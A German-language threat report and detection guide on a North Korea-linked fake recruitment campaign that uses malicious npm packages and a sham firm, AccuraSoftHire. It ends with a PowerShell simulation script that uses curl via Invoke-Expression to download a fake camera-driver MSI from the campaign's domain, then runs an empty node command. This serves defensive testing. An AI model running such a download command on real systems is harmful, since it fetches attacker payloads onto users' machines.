Gefälschte Rekrutierungskampagne nutzt npm-Pakete, um Entwickler zu attackieren

Zusammenfassung

Ein hochentwickelter Bedrohungsakteur, der mit Nordkorea in Verbindung steht, verwendet gefälschte Rekrutierungsprozesse, um Entwickler zu kompromittieren. Die Kampagne folgt einer mehrstufigen Infektionskette, die betrügerische Unternehmen, manipulierte npm-Pakete und bösartige „Kameratreiber“-Installationsprogramme umfasst. Durch die Ausnutzung vertrauenswürdiger professioneller Plattformen wie LinkedIn und GitHub erhöhen die Angreifer die Glaubwürdigkeit und vermindern den Verdacht während der ersten Kontaktaufnahme.

Untersuchung

Die JFrog Security Research verfolgte die Kampagne von einem einzelnen bösartigen npm-Paket zu einem vollständig entwickelten Scheinunternehmen namens AccuraSoftHire. Ermittler entdeckten eine koordinierte Infrastruktur, die gefälschte LinkedIn-Profile, eine überzeugende Karriereseite und mehrere Einweg-npm-Konten umfasst. Die technische Analyse verband Recruiter-Personas, GitHub-Projektautoren und npm-Paketverleger durch gemeinsame E-Mail-Adressen und wiederkehrende Code-Marker.

Minderung

Entwickler sollten mit nach Hause genommenen Coding-Aufgaben wie mit unzuverlässigem Code umgehen und sie nur in isolierten, wegwerfbaren virtuellen Maschinen oder Containern ausführen. Vermeiden Sie es, Installationsbefehle aus Browsern auszuführen, insbesondere solche, die curl oder PowerShell verwenden. Organisationen sollten die Sicherheit der Software-Lieferkette stärken, indem sie Abhängigkeits-Lockfiles überprüfen und auf unerwartete oder unautorisierte Paketaktualisierungen überwachen.

Reaktion

Wenn verdächtige npm-Pakete oder unautorisierte Änderungen an VS Code-Tasks erkannt werden, isolieren Sie sofort den betroffenen Arbeitsplatz. Führen Sie eine forensische Analyse der letzten Downloads, Browseraktivitäten und ausgeführten Befehle durch. Überprüfen Sie auf unautorisierte geplante Aufgaben oder neue Registrierungseinträge, die mit Chrome-Native-Messaging-Hosts verbunden sind. Überprüfen Sie Entwickleranmeldedaten und aktive Sitzungen, um das Risiko einer Sitzungsentführung zu verringern.

Simulationsausführung

Voraussetzung: Der Telemetrie- & Basislinien-Vorflug-Check muss bestanden sein.

Begründung: Dieser Abschnitt beschreibt die präzise Ausführung der Gegnertechnik (TTP), die entwickelt wurde, um die Erkennungsregel auszulösen. Die Befehle und Erzählung MÜSSEN die identifizierten TTPs direkt widerspiegeln und darauf abzielen, die genaue Telemetrie zu generieren, die von der Erkennungsslogik erwartet wird. Abstrakte oder nicht verwandte Beispiele führen zu Fehldiagnosen.

• Angriffserzählung und -befehle: Der Angreifer versucht, eine Persistenz zu etablieren, indem er sich als Systemupdate tarnt. Nach einer erfolgreichen Social-Engineering-Falle führt der Angreifer ein curl Befehl aus, um eine bösartige MSI-Datei herunterzuladen, die er CameraDriverUpdate.msi nennt, um sich in den Systemlärm einzufügen. Unmittelbar danach führt der Angreifer node -e ""aus—eine Technik, die verwendet wird, um die Umgebung zu testen oder sich auf komplexere, verschleierte JavaScript-Payloads vorzubereiten, die einfache Erkennungen umgehen. Die Kombination aus spezifischem treiberbasierten Download und leerer Node-Ausführung ist der Hauptauslöser für die Erkennungsregel.

• Regressionstestskript:

  # Simulationsskript, um die Erkennungsregel auszulösen.
  # Dieses Skript nachahmt die spezifischen Strings, die in der Sigma-Regel identifiziert wurden.
  
  $TargetUrl = "https://accurasofthire.com/camera-driver/setup-win"
  $FileName = "CameraDriverUpdate.msi"
  $FullCurlCmd = "curl -L -o $FileName `"$TargetUrl`""
  
  Write-Host "[+] Ausführung des bösartigen curl-Befehls..." -ForegroundColor Yellow
  Invoke-Expression $FullCurlCmd
  
  Write-Host "[+] Ausführung des leeren Node-Befehls..." -ForegroundColor Yellow
  node -e ""
  
  Write-Host "[+] Simulation abgeschlossen. Überprüfen Sie SIEM auf Alarm." -ForegroundColor Green

• Bereinigungsbefehle:

  # Bereinigungsskript, um während der Simulation erstellte Artefakte zu entfernen.
  if (Test-Path "CameraDriverUpdate.msi") {
      Remove-Item "CameraDriverUpdate.msi" -Force
      Write-Host "[+] Entfernt bösartiges MSI-Artefakt." -ForegroundColor Cyan
  }